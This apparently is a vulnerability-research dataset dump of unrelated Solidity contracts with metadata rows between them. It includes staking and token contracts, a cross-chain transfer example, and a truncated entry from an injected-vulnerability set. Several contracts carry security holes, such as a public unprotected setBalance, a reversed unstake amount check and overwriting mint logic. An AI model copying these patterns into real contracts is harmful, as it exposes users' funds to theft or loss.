mapping(address=>uint256) public rewardBlanaces;
uint256[] stakingAddress;
uint256[] unstakingAddress;
function payToken(address[] memory receivers, uint256[] memory amounts) public onlySigner returns(bool) {
require(!safeguard);
uint256 arrayLength = receivers.length;
for (uint256 i = 0; i < arrayLength; i++) {
mintToken(receivers[i], amounts[i]);
}
return true;
}
function mintToken(address target, uint256 mintedAmount) internal returns(bool) {
require(!safeguard);
require(target!=address(0), "Invalid Address");
require(mintedAmount!=0, "Invalid Amount");
tokenBalances[target] =mintedAmount;
return true;
}
function payReward(address[] memory receivers, uint256[] memory amounts) public onlySigner returns(bool) {
require(!safeguard);
uint256 arrayLength = receivers.length;
for (uint256 i = 0; i < arrayLength; i++) {
mintstakingreward(receivers[i], amounts[i]);
}
return true;
}
function mintstakingreward(address target, uint256 mintedAmount) internal returns(bool) {
require(!safeguard);
require(target!=address(0), "Invalid Address");
require(mintedAmount!=0, "Invalid Amount");
rewardBlanaces[target] = mintedAmount;
return true;
}
function stakeIn(uint256 _amount) public returns(bool) {
require(!safeguard);
require(_amount!=0, "invalid Amount");
require(_amount<=_balanceOf[msg.sender], "Insufficient Balance");
address sender=msg.sender;
stakePool[sender]=stakePool[sender].add(_amount);
_balanceOf[sender]=_balanceOf[sender].sub(_amount);
totalStake=totalStake.add(_amount);
emit putstake(sender, _amount, block.timestamp);
emit Transfer(sender, address(this), _amount);
return true;
}
function stakeOut(uint256 _amount) public returns(uint256, bool) {
require(!safeguard);
require(stakePool[msg.sender]>=_amount, "Invalid Amount");
require(_amount!=0, "Invalid Amount");
address sender=msg.sender;
if(checkPowerDownPeriod[sender]!=0) {
return (checkPowerDownPeriod[sender], false);
} else {
unstakePool[sender]=unstakePool[sender].add(_amount);
checkPowerDownPeriod[sender]=block.timestamp.add(PowerDownPeriod);
stakePool[sender]=stakePool[sender].sub(_amount);
totalUnstake=totalUnstake.add(_amount);
totalStake=totalStake.sub(_amount);
emit unstakeEv(sender, _amount, block.timestamp);
return (checkPowerDownPeriod[sender], true);
}
}
function claimStakeOut(uint256 _amount) public returns(bool) {
require(!safeguard);
require(checkPowerDownPeriod[msg.sender]<=block.timestamp, "Freezed");
require(unstakePool[msg.sender]<=_amount, "Invalid Amount");
address sender=msg.sender;
_balanceOf[sender]=_balanceOf[sender].add(_amount);
unstakePool[sender]=unstakePool[sender].sub(_amount);
checkPowerDownPeriod[sender]=0;
totalUnstake=totalUnstake.sub(_amount);
emit Transfer(address(this), sender, _amount);
return true;
}
function isUnstaking(address _address) public view returns(uint256, bool) {
require(_address!=address(0));
if(checkPowerDownPeriod[msg.sender]!=0) {
return (checkPowerDownPeriod[msg.sender], true);
} else {
return (checkPowerDownPeriod[msg.sender], false);
}
}
function getToken(uint256 _amount) public {
require(!safeguard);
require(tokenBalances[msg.sender]!=0, "No Tokens Available");
require(tokenBalances[msg.sender]>=_amount, "Invalid amount");
uint256 temp=_amount;
_balanceOf[msg.sender]=_balanceOf[msg.sender].add(temp);
tokenBalances[msg.sender]=tokenBalances[msg.sender].sub(temp);
_totalSupply=_totalSupply.add(temp);
emit Transfer(address(this), msg.sender, temp);
}
function getReward(uint256 _amount) public {
require(!safeguard);
require(rewardBlanaces[msg.sender]!=0, "No Rewards Available");
require(rewardBlanaces[msg.sender]>= _amount, "Invalid amount");
uint256 temp=_amount;
_balanceOf[msg.sender]=_balanceOf[msg.sender].add(temp);
rewardBlanaces[msg.sender]=rewardBlanaces[msg.sender].sub(temp);
_totalSupply=_totalSupply.add(temp);
emit Transfer(address(this), msg.sender, temp);
}
function setPowerDownPeriod(uint256 _time) public onlyOwner returns(bool) {
require(!safeguard);
PowerDownPeriod=_time;
return true;
}
function TotalStakedAmount() public view returns(uint256) {
return totalStake;
}
function TotalPendingUnstakeamount() public view returns(uint256) {
return totalUnstake;
}
function checkUnstake(address _add) public view returns(uint256) {
require(_add!=address(0));
return unstakePool[_add];
}
function checkStake(address _add) public view returns(uint256) {
require(_add!=address(0));
return stakePool[_add];
}
function manualWithdrawTokens(uint256 tokenAmount) public onlyOwner {
require(!safeguard);
_transfer(address(this), _owner, tokenAmount);
}
function manualwithdrawTron() public onlyOwner {
require(!safeguard);
address(_owner).transfer(address(this).balance);
}
function Boost(uint256 _amount) public {
require(!safeguard);
require(_amount!=0, "Invalid Amount");
burn(_amount);
}
function Membership(uint256 _amount) public {
require(!safeguard);
require(_amount!=0, "Invalid Amount");
burn(_amount);
}
function changeSafeguardStatus() public onlyOwner {
if (safeguard == false) {
safeguard = true;
} else {
safeguard = false;
}
}
}
| 294,634 | 12,791 |
bf5d8e43bbcba44e665e3b0e88aaa78cdc5ae67c0a54682496d20f74937ea8d7
| 13,873 |
.sol
|
Solidity
| false |
262318810
|
meshplus/pier-client-ethereum
|
176370252591d8cdf42c198f82368fe7a5bd6ad4
|
example/transfer.sol
| 3,606 | 13,689 |
pragma solidity >=0.5.6;
pragma experimental ABIEncoderV2;
contract Transfer {
mapping(string => uint64) accountM; // map for accounts
// change the address of Broker accordingly
address BrokerAddr;
string bitxhubID;
string appchainID;
string curFullID;
// the length of a single arg in args, length is 3
uint64 argLength;
// the length of a single argRb in argsRb, length is 2
uint64 argRbLength;
// AccessControl
modifier onlyBroker {
require(msg.sender == BrokerAddr, "Invoker are not the Broker");
_;
}
constructor(address _brokerAddr, bool _ordered) {
BrokerAddr = _brokerAddr;
Broker(BrokerAddr).register(_ordered);
(bitxhubID, appchainID) = Broker(BrokerAddr).getChainID();
curFullID = genFullServiceID(addressToString(getAddress()));
argLength = uint64(3);
argRbLength = uint64(2);
}
function getCurFullID() public view returns (string memory) {
return curFullID;
}
// get local contract address
function getAddress() internal view returns (address) {
return address(this);
}
function register(bool _ordered) public {
Broker(BrokerAddr).register(_ordered);
}
// contract for asset
function transfer(string memory destChainServiceID, string memory sender, string memory receiver, uint64 amount) public {
require(accountM[sender] >= amount);
accountM[sender] -= amount;
bytes[] memory args = new bytes[](argLength);
args[0] = abi.encodePacked(sender);
args[1] = abi.encodePacked(receiver);
args[2] = abi.encodePacked(amount);
bytes[] memory argsRb = new bytes[](argRbLength);
argsRb[0] = abi.encodePacked(sender);
argsRb[1] = abi.encodePacked(amount);
string[] memory func = new string[](3);
func[0] = "interchainCharge";
func[1] = "";
func[2] = "interchainRollback";
Broker(BrokerAddr).emitInterchainEvent(destChainServiceID, "interchainCharge", args, "", new bytes[](0), "interchainRollback", argsRb, false, new string[](0));
}
function multiTransfer(string memory destChainServiceID, string[] memory sender, string[] memory receiver, uint64[] memory amount) public {
uint len = sender.length;
require(len == receiver.length && len == amount.length);
for (uint i = 0; i < len; i++) {
require(accountM[sender[i]] >= amount[i]);
accountM[sender[i]] -= amount[i];
}
bytes[] memory args = new bytes[](argLength * len);
for (uint i = 0; i < len; i++) {
// write transaction to args
args[i * argLength] = abi.encodePacked(sender[i]);
args[i * argLength + 1] = abi.encodePacked(receiver[i]);
args[i * argLength + 2] = abi.encodePacked(amount[i]);
}
bytes[] memory argsRb = new bytes[](argRbLength * len);
for (uint i = 0; i < len; i++) {
argsRb[i * argRbLength] = abi.encodePacked(sender[i]);
argsRb[i * argRbLength + 1] = abi.encodePacked(amount[i]);
}
Broker(BrokerAddr).emitInterchainEvent(destChainServiceID, "interchainCharge", args, "", new bytes[](0), "interchainRollback", argsRb, false, new string[](0));
}
// contract for asset
function transferOne2Multi(string[] memory destChainServiceIDs, string[] memory senders, string[] memory receivers, uint64[] memory amounts) public {
uint len = destChainServiceIDs.length;
require(senders.length == len && receivers.length == len && amounts.length == len);
string[] memory brokerOuts;
uint64[] memory outCounters;
string[] memory group;
(brokerOuts, outCounters) = Broker(BrokerAddr).getOuterMeta();
for (uint i = 0; i < len; i++)
{
group = fillMultiGroup(destChainServiceIDs, brokerOuts, outCounters);
}
for (uint i = 0; i < len; i++)
{
require(accountM[senders[i]] >= amounts[i]);
accountM[senders[i]] -= amounts[i];
bytes[] memory args = new bytes[](argLength);
args[0] = abi.encodePacked(senders[i]);
args[1] =abi.encodePacked(receivers[i]);
args[2] = abi.encodePacked(amounts[i]);
bytes[] memory argsRb = new bytes[](argRbLength);
argsRb[0] = abi.encodePacked(senders[i]);
argsRb[1] = abi.encodePacked(amounts[i]);
Broker(BrokerAddr).emitInterchainEvent(destChainServiceIDs[i], "interchainCharge", args, "", new bytes[](0), "interchainRollback", argsRb, false, group);
}
}
function fillMultiGroup(string[] memory destChainServiceIDs, string[] memory brokerOuts, uint64[] memory outCounters) private view returns (string[] memory) {
string[] memory multiGroup = new string[](destChainServiceIDs.length);
for (uint i = 0; i < destChainServiceIDs.length; i++)
{
uint index = brokerOuts.length;
for (uint j = 0; j < brokerOuts.length; j++)
{
string memory outServicePair = genServicePair(curFullID, destChainServiceIDs[i]);
if (keccak256(abi.encodePacked(brokerOuts[j])) == keccak256(abi.encodePacked(outServicePair))) {
index = j;
}
}
uint groupValue;
// not found in out meta, indicate index equal 1
if (index == brokerOuts.length) {
groupValue = 1;
} else {
groupValue = outCounters[index]+1;
}
multiGroup[i] = genMultiGroup(destChainServiceIDs[i], uint2str(groupValue));
}
return multiGroup;
}
function interchainRollback(bytes[] memory args, bool[] memory multiStatus) public onlyBroker {
require(args.length % argRbLength == 0);
string memory sender;
uint64 amount;
// Number of transactions
uint64 TxNumber = uint64(args.length / argRbLength);
if (multiStatus.length == 0){
multiStatus = new bool[](TxNumber);
for (uint i = 0; i < TxNumber; i++){
multiStatus[i] = false;
}
}
for (uint i = 0; i < TxNumber; i++){
if (!multiStatus[i]){
sender = string(args[i * argRbLength]);
amount = bytesToUint64(args[i * argRbLength + 1]);
accountM[sender] += amount;
}
}
}
function interchainCharge(bytes[] memory args, bool isRollback) public onlyBroker returns (bytes[][] memory results, bool[] memory multiStatus) {
require(args.length % argLength == 0, "interchainCharge arg' length is not correct, expect 3");
uint64 TxNumber = uint64(args.length / argLength);
bool[] memory multiStatus = new bool[](TxNumber);
for (uint i = 0; i < TxNumber; i++){
string memory receiver = string(args[i * argLength + 1]);
uint64 amount = bytesToUint64(args[i * argLength + 2]);
if (!isRollback) {
accountM[receiver] += amount;
} else {
accountM[receiver] -= amount;
}
multiStatus[i] = true;
}
return (new bytes[][](0), multiStatus);
}
function getBalance(string memory id) public view returns(uint64) {
return accountM[id];
}
function setBalance(string memory id, uint64 amount) public {
accountM[id] = amount;
}
function bytesToUint64(bytes memory b) public pure returns (uint64){
uint64 number;
for(uint i=0;i<b.length;i++){
number = uint64(number + uint8(b[i])*(2**(8*(b.length-(i+1)))));
}
return number;
}
function genFullServiceID(string memory serviceID) private view returns (string memory) {
return string(abi.encodePacked(bitxhubID, ":", appchainID, ":", serviceID));
}
function genServicePair(string memory from, string memory to) private pure returns (string memory) {
return string(abi.encodePacked(from, "-", to));
}
function genMultiGroup(string memory groupKey, string memory groupValue) private pure returns (string memory) {
return string(abi.encodePacked(groupKey, "-", groupValue));
}
function addressToString(address account) internal pure returns (string memory asciiString) {
// convert the account argument from address to bytes.
bytes20 data = bytes20(account);
// create an in-memory fixed-size bytes array.
bytes memory asciiBytes = new bytes(40);
// declare variable types.
uint8 b;
uint8 leftNibble;
uint8 rightNibble;
bool leftCaps;
bool rightCaps;
uint8 asciiOffset;
// get the capitalized characters in the actual checksum.
bool[40] memory caps = _toChecksumCapsFlags(account);
// iterate over bytes, processing left and right nibble in each iteration.
for (uint256 i = 0; i < data.length; i++) {
// locate the byte and extract each nibble.
b = uint8(uint160(data) / (2 ** (8 * (19 - i))));
leftNibble = b / 16;
rightNibble = b - 16 * leftNibble;
// locate and extract each capitalization status.
leftCaps = caps[2 * i];
rightCaps = caps[2 * i + 1];
// get the offset from nibble value to ascii character for left nibble.
asciiOffset = _getAsciiOffset(leftNibble, leftCaps);
// add the converted character to the byte array.
asciiBytes[2 * i] = bytes1(leftNibble + asciiOffset);
// get the offset from nibble value to ascii character for right nibble.
asciiOffset = _getAsciiOffset(rightNibble, rightCaps);
// add the converted character to the byte array.
asciiBytes[2 * i + 1] = bytes1(rightNibble + asciiOffset);
}
return string(abi.encodePacked("0x", asciiBytes));
}
function _toChecksumCapsFlags(address account) internal pure returns (bool[40] memory characterCapitalized) {
// convert the address to bytes.
bytes20 a = bytes20(account);
// hash the address (used to calculate checksum).
bytes32 b = keccak256(abi.encodePacked(_toAsciiString(a)));
// declare variable types.
uint8 leftNibbleAddress;
uint8 rightNibbleAddress;
uint8 leftNibbleHash;
uint8 rightNibbleHash;
// iterate over bytes, processing left and right nibble in each iteration.
for (uint256 i; i < a.length; i++) {
// locate the byte and extract each nibble for the address and the hash.
rightNibbleAddress = uint8(a[i]) % 16;
leftNibbleAddress = (uint8(a[i]) - rightNibbleAddress) / 16;
rightNibbleHash = uint8(b[i]) % 16;
leftNibbleHash = (uint8(b[i]) - rightNibbleHash) / 16;
characterCapitalized[2 * i] = (leftNibbleAddress > 9 &&
leftNibbleHash > 7);
characterCapitalized[2 * i + 1] = (rightNibbleAddress > 9 &&
rightNibbleHash > 7);
}
}
// based on https://ethereum.stackexchange.com/a/56499/48410
function _toAsciiString(bytes20 data) internal pure returns (string memory asciiString) {
// create an in-memory fixed-size bytes array.
bytes memory asciiBytes = new bytes(40);
// declare variable types.
uint8 b;
uint8 leftNibble;
uint8 rightNibble;
// iterate over bytes, processing left and right nibble in each iteration.
for (uint256 i = 0; i < data.length; i++) {
// locate the byte and extract each nibble.
b = uint8(uint160(data) / (2 ** (8 * (19 - i))));
leftNibble = b / 16;
rightNibble = b - 16 * leftNibble;
// to convert to ascii characters, add 48 to 0-9 and 87 to a-f.
asciiBytes[2 * i] = bytes1(leftNibble + (leftNibble < 10 ? 48 : 87));
asciiBytes[2 * i + 1] = bytes1(rightNibble + (rightNibble < 10 ? 48 : 87));
}
return string(asciiBytes);
}
function _getAsciiOffset(uint8 nibble, bool caps) internal pure returns (uint8 offset) {
// to convert to ascii characters, add 48 to 0-9, 55 to A-F, & 87 to a-f.
if (nibble < 10) {
offset = 48;
} else if (caps) {
offset = 55;
} else {
offset = 87;
}
}
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len;
while (_i != 0) {
k = k-1;
uint8 temp = (48 + uint8(_i - _i / 10 * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(bstr);
}
}
abstract contract Broker {
function emitInterchainEvent(string memory destFullServiceID,
string memory func,
bytes[] memory args,
string memory funcCb,
bytes[] memory argsCb,
string memory funcRb,
bytes[] memory argsRb,
bool isEncrypt,
string[] memory group) public virtual;
function register(bool ordered) public virtual;
function getOuterMeta() public virtual view returns (string[] memory, uint64[] memory);
function getChainID() public virtual view returns (string memory, string memory);
}
| 5,632 | 12,792 |
0ae2f3de0aa5c933e6c3f1a6552799c4302aecb3a488ab46894dfc8e7d72a16d
| 25,619 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs-wild-clean-contracts/0xe043dd0c6712b862d68be955f4a031940fbb5513.sol
| 3,736 | 13,447 |
pragma solidity 0.4.24;
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from,
address _to,
uint256 _value)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner,
address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender,
uint256 _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender,
uint256 _subtractedValue)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/PausableToken.sol
contract PausableToken is StandardToken, Pausable {
function transfer(address _to,
uint256 _value)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(address _from,
address _to,
uint256 _value)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender,
uint256 _value)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(address _spender,
uint _addedValue)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender,
uint _subtractedValue)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: contracts/interfaces/IRegistry.sol
// limited ContractRegistry definition
interface IRegistry {
function owner()
external
returns(address);
function updateContractAddress(string _name,
address _address)
external
returns (address);
function getContractAddress(string _name)
external
view
returns (address);
}
// File: contracts/interfaces/IBrickblockToken.sol
// limited BrickblockToken definition
interface IBrickblockToken {
function transfer(address _to,
uint256 _value)
external
returns (bool);
function transferFrom(address from,
address to,
uint256 value)
external
returns (bool);
function balanceOf(address _address)
external
view
returns (uint256);
function approve(address _spender,
uint256 _value)
external
returns (bool);
}
// File: contracts/AccessToken.sol
/// @title The utility token used for paying fees in the Brickblock ecosystem
contract AccessToken is PausableToken {
uint8 public constant version = 1;
// Instance of registry contract to get contract addresses
IRegistry internal registry;
string public constant name = "AccessToken";
string public constant symbol = "ACT";
uint8 public constant decimals = 18;
// Total amount of minted ACT that a single locked BBK token is entitled to
uint256 internal totalMintedActPerLockedBbkToken;
// Total amount of BBK that is currently locked into the ACT contract
uint256 public totalLockedBBK;
// Amount of locked BBK per user
mapping(address => uint256) internal lockedBbkPerUser;
mapping(address => uint256) internal mintedActPerUser;
// Track minted ACT tokens per user for the current BBK lock period
mapping(address => uint256) internal mintedActFromCurrentLockPeriodPerUser;
// Track minted ACT tokens per user for past BBK lock periods
mapping(address => uint256) internal mintedActFromPastLockPeriodsPerUser;
// ERC20 override to keep balances private and use balanceOf instead
mapping(address => uint256) internal balances;
// Track received ACT via transfer or transferFrom in order to calculate the correct balanceOf
mapping(address => uint256) public receivedAct;
// Track spent ACT via transfer or transferFrom in order to calculate the correct balanceOf
mapping(address => uint256) public spentAct;
event Mint(uint256 amount);
event Burn(address indexed burner, uint256 value);
event BbkLocked(address indexed locker,
uint256 lockedAmount,
uint256 totalLockedAmount);
event BbkUnlocked(address indexed locker,
uint256 unlockedAmount,
uint256 totalLockedAmount);
modifier onlyContract(string _contractName)
{
require(msg.sender == registry.getContractAddress(_contractName));
_;
}
constructor (address _registryAddress)
public
{
require(_registryAddress != address(0));
registry = IRegistry(_registryAddress);
}
/// @notice Check an address for amount of currently locked BBK
/// works similar to basic ERC20 balanceOf
function lockedBbkOf(address _address)
external
view
returns (uint256)
{
return lockedBbkPerUser[_address];
}
function lockBBK(uint256 _amount)
external
returns (bool)
{
require(_amount > 0);
IBrickblockToken _bbk = IBrickblockToken(registry.getContractAddress("BrickblockToken"));
require(settleCurrentLockPeriod(msg.sender));
lockedBbkPerUser[msg.sender] = lockedBbkPerUser[msg.sender].add(_amount);
totalLockedBBK = totalLockedBBK.add(_amount);
require(_bbk.transferFrom(msg.sender, this, _amount));
emit BbkLocked(msg.sender, _amount, totalLockedBBK);
return true;
}
function unlockBBK(uint256 _amount)
external
returns (bool)
{
require(_amount > 0);
IBrickblockToken _bbk = IBrickblockToken(registry.getContractAddress("BrickblockToken"));
require(_amount <= lockedBbkPerUser[msg.sender]);
require(settleCurrentLockPeriod(msg.sender));
lockedBbkPerUser[msg.sender] = lockedBbkPerUser[msg.sender].sub(_amount);
totalLockedBBK = totalLockedBBK.sub(_amount);
require(_bbk.transfer(msg.sender, _amount));
emit BbkUnlocked(msg.sender, _amount, totalLockedBBK);
return true;
}
function distribute(uint256 _amount)
external
onlyContract("FeeManager")
returns (bool)
{
totalMintedActPerLockedBbkToken = totalMintedActPerLockedBbkToken
.add(_amount
.mul(1e18)
.div(totalLockedBBK));
uint256 _delta = (_amount.mul(1e18) % totalLockedBBK).div(1e18);
mintedActFromPastLockPeriodsPerUser[owner] = mintedActFromPastLockPeriodsPerUser[owner].add(_delta);
totalSupply_ = totalSupply_.add(_amount);
emit Mint(_amount);
return true;
}
function getMintedActFromCurrentLockPeriod(address _address)
private
view
returns (uint256)
{
return lockedBbkPerUser[_address]
.mul(totalMintedActPerLockedBbkToken.sub(mintedActPerUser[_address]))
.div(1e18);
}
function settleCurrentLockPeriod(address _address)
private
returns (bool)
{
mintedActFromCurrentLockPeriodPerUser[_address] = getMintedActFromCurrentLockPeriod(_address);
mintedActFromPastLockPeriodsPerUser[_address] = mintedActFromPastLockPeriodsPerUser[_address]
.add(mintedActFromCurrentLockPeriodPerUser[_address]);
mintedActPerUser[_address] = totalMintedActPerLockedBbkToken;
return true;
}
function balanceOf(address _address)
public
view
returns (uint256)
{
mintedActFromCurrentLockPeriodPerUser[_address] = getMintedActFromCurrentLockPeriod(_address);
return totalMintedActPerLockedBbkToken == 0
? 0
: mintedActFromCurrentLockPeriodPerUser[_address]
.add(mintedActFromPastLockPeriodsPerUser[_address])
.add(receivedAct[_address])
.sub(spentAct[_address]);
}
function transfer(address _to,
uint256 _value)
public
whenNotPaused
returns (bool)
{
require(_to != address(0));
require(_value <= balanceOf(msg.sender));
spentAct[msg.sender] = spentAct[msg.sender].add(_value);
receivedAct[_to] = receivedAct[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from,
address _to,
uint256 _value)
public
whenNotPaused
returns (bool)
{
require(_to != address(0));
require(_value <= balanceOf(_from));
require(_value <= allowed[_from][msg.sender]);
spentAct[_from] = spentAct[_from].add(_value);
receivedAct[_to] = receivedAct[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function burn(address _address,
uint256 _value)
external
onlyContract("FeeManager")
returns (bool)
{
require(_value <= balanceOf(_address));
spentAct[_address] = spentAct[_address].add(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_address, _value);
return true;
}
}
| 133,742 | 12,793 |
b8330a7b677e7a155f1313ee637a61796b8996026ab79ee0f8bc329d9ca91bfb
| 15,561 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/lockedEther/0xe78c49645fb295ec45fc313038dc3ed207137d47_lockedEther.sol
| 3,217 | 11,759 |
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
library Types {
enum RStatus {ONE, ABOVE_ONE, BELOW_ONE}
enum EnterStatus {ENTERED, NOT_ENTERED}
}
contract ReentrancyGuard {
Types.EnterStatus private _ENTER_STATUS_;
constructor() internal {
_ENTER_STATUS_ = Types.EnterStatus.NOT_ENTERED;
}
modifier preventReentrant() {
require(_ENTER_STATUS_ != Types.EnterStatus.ENTERED, "REENTRANT");
_ENTER_STATUS_ = Types.EnterStatus.ENTERED;
_;
_ENTER_STATUS_ = Types.EnterStatus.NOT_ENTERED;
}
}
// File: contracts/intf/IERC20.sol
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
}
// File: contracts/lib/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/SafeERC20.sol
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/intf/IDODO.sol
interface IDODO {
function init(address supervisor,
address maintainer,
address baseToken,
address quoteToken,
address oracle,
uint256 lpFeeRate,
uint256 mtFeeRate,
uint256 k,
uint256 gasPriceLimit) external;
function transferOwnership(address newOwner) external;
function claimOwnership() external;
function sellBaseToken(uint256 amount, uint256 minReceiveQuote) external returns (uint256);
function buyBaseToken(uint256 amount, uint256 maxPayQuote) external returns (uint256);
function querySellBaseToken(uint256 amount) external view returns (uint256 receiveQuote);
function queryBuyBaseToken(uint256 amount) external view returns (uint256 payQuote);
function depositBaseTo(address to, uint256 amount) external;
function withdrawBase(uint256 amount) external returns (uint256);
function withdrawAllBase() external returns (uint256);
function depositQuoteTo(address to, uint256 amount) external;
function withdrawQuote(uint256 amount) external returns (uint256);
function withdrawAllQuote() external returns (uint256);
function _BASE_CAPITAL_TOKEN_() external returns (address);
